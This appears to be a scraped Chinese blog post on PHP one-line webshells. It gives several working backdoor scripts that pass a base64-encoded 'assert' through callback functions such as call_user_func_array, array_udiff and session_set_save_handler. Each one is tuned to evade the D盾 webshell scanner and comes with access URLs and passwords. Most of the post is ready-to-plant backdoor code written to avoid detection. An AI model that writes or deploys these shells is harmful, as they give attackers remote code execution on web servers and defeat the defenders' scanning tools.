1. 程式人生 > >PHP一句話木馬研究

PHP一句話木馬研究

quest params slide tin gin 相同 handler 函數參數 方法

最近在研究PHP一句話後門,查閱了很多大佬的博客,並從中衍生出了一些可用的方法。

現總結如下:

方案一:回調函數

回調函數:Callback (即call then back 被主函數調用運算後會返回主函數),是指通過函數參數傳遞到其它代碼的,某一塊可執行代碼的引用。

已被D盾查殺的函數:

array_filter()
array_walk()
array_walk_recursive()
array_map()
registregister_shutdown_function();
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce() 可疑(級別2)
array_walk()
array_walk_recursive()

1.register_tick_function()

構造一句話:

<?php      
declare(ticks=1);  
register_tick_function(base64_decode($_REQUEST[‘e‘]),$_REQUEST[‘a‘]);  
?>

訪問URL:

IP/XXX.php?e=YXNzZXJ0

密碼:a

2.變種call_user_func_array()

嘗試模仿正常函數調用,定義一個簡單的function:

<?php
function newsSearch($para0){
    $evil=$para0;
    $exec=$_GET[‘id‘];
    call_user_func_array($exec,array($evil));
}
newsSearch($_POST[‘tid‘]);
?>

使用D盾查殺。

技術分享圖片0ops!!沒過!!變量$exec被解析成了$GET["id"],但$evil沒有被解析,猜測只要將$exec放在newSearch()函數外面用GET方法獲取,就不會被D盾解析,編寫新的shell:

<?php
function newsSearch($para0,$para1){
    $evil=$para0;

    call_user_func_array($para1,array($evil));
}
$exec=base64_decode($_GET[‘id‘]);
newsSearch($_POST[‘tid‘],$exec);
?>

技術分享圖片OK!完美繞過!

訪問URL:

IP/XXX.php?id=YXNzZXJ0

密碼:key
同樣的方法可以使用call_user_func函數,構造shell如下:

<?php
function newsSearch($para0,$para1){
    $evil=$para0;

    call_user_func($para1,$evil);
}
$exec=base64_decode($_GET[‘id‘]);
newsSearch($_POST[‘tid‘],$exec);
?>

3.變種array_udiff()

用相同的方法構造使用array_udiff()的shell:

<?php
function newsSearch($para0,$para1){
    $evil=$para0;
    $exec=$para1;
    array_udiff($arr=array($evil),$arr1 = array(‘‘),$exec);
}
$exec=base64_decode($_REQUEST[‘exec‘]);
newsSearch($_POST[‘key‘],$exec);
?>

訪問URL:

IP/XXX.php?exec=YXNzZXJ0

密碼:key

剩下的回調函數也可以用相同的方法繞過D盾。

4.session_set_save_handler

session_set_save_handler函數可以定義用戶級的session保存函數(打開、保存、關閉),當我們想把session保存在本地的一個數據庫中時,本函數就很有用了。

編寫shell如下:

<?php
    error_reporting(0);
    $session = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116); //assert
    function open($save_path, $session_name)  // open第一個被調用,類似類的構造函數
    {}
    function close()    // close最後一個被調用,類似 類的析構函數
    {
    }
    session_id($_REQUEST[‘op‘]);// 執行session_id($_REQUEST[‘op‘])後,PHP自動會進行read操作,因為我們為read callback賦值了assert操作,等價於執行assert($_REQUEST[‘op‘])
    function write($id, $sess_data)
    {}
    function destroy($id)
    {}
    function gc()
    {}
    // 第三個參數為read  read(string $sessionId)
    session_set_save_handler("open", "close", $session, "write", "destroy", "gc");
    @session_start(); // 打開會話
?>

使用D盾查殺。技術分享圖片$session被解析為assert,猜測D盾認為該函數的參數中不應該含有assert等敏感函數,否則就掛掉!把$session用GET輸入試試:

$session=$_REQUEST[‘id‘];

技術分享圖片看來只要參數中含有敏感函數、GET、POST、REQUEST都會報錯!
嘗試創建一個用戶函數,在函數中調用session_set_save_handler(),並將assert作為參數傳入:

<?php
    error_reporting(0);
    //$session = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116); //assert
    function test($para){
        session_set_save_handler("open", "close", $para, "write", "destroy", "gc");
        @session_start(); // 打開會話
    }
    $session=base64_decode($_REQUEST[‘id‘]);
    // open第一個被調用,類似類的構造函數
    function open($save_path, $session_name)
    {}
    // close最後一個被調用,類似 類的析構函數
    function close()
    {
    }
    // 執行session_id($_REQUEST[‘op‘])後,PHP自動會進行read操作,因為我們為read callback賦值了assert操作,等價於執行assert($_REQUEST[‘op‘])
    session_id($_REQUEST[‘op‘]);
    function write($id, $sess_data)
    {}
    function destroy($id)
    {}
    function gc()
    {}
    // 第三個參數為read  read(string $sessionId)
    test($session);

?>

技術分享圖片完美繞過!

訪問URL:

IP/XXX.php?id=YXNzZXJ0

密碼:op

PHP一句話木馬研究